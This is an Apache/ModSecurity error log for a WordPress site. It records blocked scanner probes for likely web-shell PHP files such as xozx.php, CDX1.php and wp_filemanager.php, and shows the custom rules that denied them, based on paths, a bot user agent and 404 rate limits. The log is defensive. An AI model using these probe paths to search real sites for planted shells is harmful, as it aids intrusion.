[Mon Apr 20 00:55:41.743632 2026] [:error] [pid 15693:tid 15710] [client 193.37.32.25:48837] [client 193.37.32.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/koiy.php"] [unique_id "aeUJDcNMD-ccazQlTslt_AAAAU4"]
[Mon Apr 20 00:55:41.940844 2026] [:error] [pid 47773:tid 47832] [client 193.37.32.17:22223] [client 193.37.32.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Nxploited/class-payment.php"] [unique_id "aeUJDeiBHdnCJDuPq9BtYwAAAFA"]
[Mon Apr 20 00:55:47.138434 2026] [:error] [pid 47775:tid 47866] [client 193.37.32.25:36275] [client 193.37.32.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/first.php"] [unique_id "aeUJE7mztjlk9tsmoew8wAAAAJc"]
[Mon Apr 20 00:58:12.465495 2026] [:error] [pid 15763:tid 15799] [client 193.37.32.10:40933] [client 193.37.32.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/222.php"] [unique_id "aeUJpLMXv1Y1THOoxaAvlwAAAgM"]
[Mon Apr 20 00:58:22.666831 2026] [:error] [pid 15763:tid 15815] [client 193.37.32.53:26169] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/src/xth/"] [unique_id "aeUJrrMXv1Y1THOoxaAvmQAAAhM"]
[Mon Apr 20 00:58:47.867275 2026] [:error] [pid 47772:tid 47792] [client 193.37.32.25:25665] [client 193.37.32.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/Divi/epanel/build/"] [unique_id "aeUJx4c0L16cb4smAz_-SAAAAAM"]
[Mon Apr 20 00:59:03.059200 2026] [:error] [pid 15764:tid 15839] [client 193.37.32.15:49999] [client 193.37.32.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403x.php"] [unique_id "aeUJ12LL_sqdSHoVp-Rl_AAAAk0"]
[Mon Apr 20 00:59:08.255732 2026] [:error] [pid 47886:tid 47908] [client 193.37.32.25:42851] [client 193.37.32.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/chosen.php"] [unique_id "aeUJ3ESe8yiyuPrD7yOWnQAAANQ"]
[Mon Apr 20 00:59:13.452750 2026] [:error] [pid 15760:tid 15782] [client 193.37.32.53:50385] [client 193.37.32.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/user/blue/"] [unique_id "aeUJ4fSdD_XHQMJ_ISubqQAAAc4"]
[Mon Apr 20 00:59:43.727704 2026] [:error] [pid 47775:tid 47863] [client 193.37.32.17:46661] [client 193.37.32.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/interactivity-api/"] [unique_id "aeUJ_7mztjlk9tsmoew9SwAAAJQ"]
[Mon Apr 20 01:00:33.924590 2026] [:error] [pid 15764:tid 15851] [client 193.37.32.17:55295] [client 193.37.32.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/robots-template-client.php"] [unique_id "aeUKMWLL_sqdSHoVp-RmXwAAAlg"]
[Mon Apr 20 01:00:59.120657 2026] [:error] [pid 15763:tid 15813] [client 193.37.32.17:54319] [client 193.37.32.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/menu-sql.php"] [unique_id "aeUKS7MXv1Y1THOoxaAv9QAAAhE"]
[Mon Apr 20 01:01:39.322706 2026] [:error] [pid 47772:tid 47812] [client 193.37.32.32:46579] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "aeUKc4c0L16cb4smAz_--gAAABc"]
[Mon Apr 20 01:01:44.519028 2026] [:error] [pid 15760:tid 15778] [client 193.37.32.32:64069] [client 193.37.32.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/"] [unique_id "aeUKePSdD_XHQMJ_ISucewAAAco"]
[Mon Apr 20 01:03:55.009158 2026] [:error] [pid 15765:tid 15874] [client 20.251.200.200:21257] [client 20.251.200.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeUK-_Rqinw-W5EwQ74YYQAAApU"]
[Mon Apr 20 01:03:56.834890 2026] [:error] [pid 15764:tid 15842] [client 20.251.200.200:12537] [client 20.251.200.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeUK_GLL_sqdSHoVp-RnywAAAlA"]
[Mon Apr 20 01:03:58.415666 2026] [:error] [pid 15763:tid 15801] [client 20.251.200.200:24964] [client 20.251.200.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeUK_rMXv1Y1THOoxaAw1wAAAgU"]
[Mon Apr 20 01:03:59.501980 2026] [:error] [pid 47772:tid 47813] [client 20.251.200.200:1477] [client 20.251.200.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeUK_4c0L16cb4smAz__gQAAABg"]
[Mon Apr 20 01:58:26.071350 2026] [autoindex:error] [pid 47772:tid 47809] [client 72.146.9.108:23674] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 01:58:29.159328 2026] [autoindex:error] [pid 47772:tid 47797] [client 72.146.9.108:23674] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 01:58:29.396450 2026] [autoindex:error] [pid 47772:tid 47795] [client 72.146.9.108:23674] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Apr 20 01:58:41.455547 2026] [:error] [pid 47772:tid 47800] [client 72.146.9.108:23674] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "aeUX0Yc0L16cb4smAz8KngAAAAs"]
[Mon Apr 20 01:58:41.939634 2026] [:error] [pid 15693:tid 15696] [client 72.146.9.108:23627] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "aeUX0cNMD-ccazQlTslyJgAAAUA"]
[Mon Apr 20 01:58:42.427516 2026] [:error] [pid 15694:tid 15740] [client 72.146.9.108:23844] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "aeUX0rimB-jol1fwqAoqKgAAAY4"]
[Mon Apr 20 01:58:42.894462 2026] [:error] [pid 15764:tid 15843] [client 72.146.9.108:23626] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "aeUX0mLL_sqdSHoVp-R3PAAAAlE"]
[Mon Apr 20 01:58:43.378067 2026] [:error] [pid 15694:tid 15743] [client 72.146.9.108:24564] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeUX07imB-jol1fwqAoqLQAAAZE"]
[Mon Apr 20 01:58:43.938202 2026] [:error] [pid 15764:tid 15838] [client 72.146.9.108:24535] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeUX02LL_sqdSHoVp-R3QQAAAkw"]
[Mon Apr 20 01:58:44.438267 2026] [:error] [pid 15764:tid 15826] [client 72.146.9.108:23934] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeUX1GLL_sqdSHoVp-R3RAAAAkA"]
[Mon Apr 20 01:58:44.917968 2026] [:error] [pid 15763:tid 15800] [client 72.146.9.108:23658] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aeUX1LMXv1Y1THOoxaA54AAAAgQ"]
[Mon Apr 20 01:58:45.496812 2026] [:error] [pid 15764:tid 15830] [client 72.146.9.108:24554] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeUX1WLL_sqdSHoVp-R3SAAAAkQ"]
[Mon Apr 20 01:58:45.993373 2026] [:error] [pid 15763:tid 15813] [client 72.146.9.108:24082] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeUX1bMXv1Y1THOoxaA54QAAAhE"]
[Mon Apr 20 01:58:46.539597 2026] [:error] [pid 15764:tid 15847] [client 72.146.9.108:23864] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeUX1mLL_sqdSHoVp-R3SwAAAlU"]
[Mon Apr 20 01:58:47.028488 2026] [:error] [pid 15694:tid 15726] [client 72.146.9.108:23632] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aeUX17imB-jol1fwqAoqMQAAAYM"]
[Mon Apr 20 01:58:47.592070 2026] [:error] [pid 15763:tid 15814] [client 72.146.9.108:24514] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeUX17MXv1Y1THOoxaA55QAAAhI"]
[Mon Apr 20 01:58:48.338064 2026] [:error] [pid 15694:tid 15735] [client 72.146.9.108:24070] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeUX2LimB-jol1fwqAoqNQAAAYk"]
[Mon Apr 20 01:58:48.856855 2026] [:error] [pid 15694:tid 15751] [client 72.146.9.108:24533] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeUX2LimB-jol1fwqAoqNgAAAZg"]
[Mon Apr 20 01:58:49.421051 2026] [:error] [pid 15760:tid 15776] [client 72.146.9.108:24125] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-bda.php"] [unique_id "aeUX2fSdD_XHQMJ_ISuv1gAAAcg"]
[Mon Apr 20 01:58:49.987223 2026] [:error] [pid 15760:tid 15779] [client 72.146.9.108:23668] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeUX2fSdD_XHQMJ_ISuv1wAAAcs"]
[Mon Apr 20 01:58:50.521063 2026] [:error] [pid 15760:tid 15771] [client 72.146.9.108:24523] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeUX2vSdD_XHQMJ_ISuv2AAAAcM"]
[Mon Apr 20 01:58:51.036059 2026] [:error] [pid 15764:tid 15839] [client 72.146.9.108:23820] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeUX22LL_sqdSHoVp-R3UgAAAk0"]
[Mon Apr 20 01:58:51.549024 2026] [:error] [pid 15760:tid 15782] [client 72.146.9.108:23932] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bhm.php"] [unique_id "aeUX2_SdD_XHQMJ_ISuv2gAAAc4"]
[Mon Apr 20 01:58:52.137189 2026] [:error] [pid 15763:tid 15801] [client 72.146.9.108:23919] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xozx.php"] [unique_id "aeUX3LMXv1Y1THOoxaA56QAAAgU"]
[Mon Apr 20 01:58:52.655228 2026] [:error] [pid 15764:tid 15845] [client 72.146.9.108:23841] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xozx.php"] [unique_id "aeUX3GLL_sqdSHoVp-R3VAAAAlM"]
[Mon Apr 20 01:58:53.230880 2026] [:error] [pid 15694:tid 15739] [client 72.146.9.108:23616] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xozx.php"] [unique_id "aeUX3bimB-jol1fwqAoqOAAAAY0"]
[Mon Apr 20 01:58:53.843048 2026] [:error] [pid 15760:tid 15781] [client 72.146.9.108:24147] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xozx.php"] [unique_id "aeUX3fSdD_XHQMJ_ISuv3gAAAc0"]
[Mon Apr 20 01:58:54.345138 2026] [:error] [pid 15760:tid 15792] [client 72.146.9.108:24536] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-Blogs.php"] [unique_id "aeUX3vSdD_XHQMJ_ISuv4gAAAdg"]
[Mon Apr 20 01:58:54.864925 2026] [:error] [pid 15760:tid 15791] [client 72.146.9.108:24522] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-Blogs.php"] [unique_id "aeUX3vSdD_XHQMJ_ISuv4wAAAdc"]
[Mon Apr 20 01:58:55.349683 2026] [:error] [pid 15693:tid 15712] [client 72.146.9.108:23639] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-Blogs.php"] [unique_id "aeUX38NMD-ccazQlTslyKAAAAVA"]
[Mon Apr 20 01:58:55.825151 2026] [:error] [pid 15760:tid 15770] [client 72.146.9.108:23843] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-Blogs.php"] [unique_id "aeUX3_SdD_XHQMJ_ISuv5gAAAcI"]
[Mon Apr 20 01:58:56.431828 2026] [:error] [pid 15765:tid 15862] [client 72.146.9.108:23624] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeUX4PRqinw-W5EwQ74dyAAAAok"]
[Mon Apr 20 01:58:56.909126 2026] [:error] [pid 15765:tid 15874] [client 72.146.9.108:24477] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeUX4PRqinw-W5EwQ74dyQAAApU"]
[Mon Apr 20 01:58:57.396859 2026] [:error] [pid 15693:tid 15714] [client 72.146.9.108:24068] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeUX4cNMD-ccazQlTslyKQAAAVI"]
[Mon Apr 20 01:58:57.927618 2026] [:error] [pid 15765:tid 15865] [client 72.146.9.108:23559] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmu.php"] [unique_id "aeUX4fRqinw-W5EwQ74dygAAAow"]
[Mon Apr 20 01:58:58.538993 2026] [:error] [pid 15765:tid 15877] [client 72.146.9.108:23664] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeUX4vRqinw-W5EwQ74dywAAApg"]
[Mon Apr 20 01:58:59.033728 2026] [:error] [pid 47772:tid 47791] [client 72.146.9.108:24122] [client 72.146.9.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ref.php"] [unique_id "aeUX44c0L16cb4smAz8KoAAAAAI"]
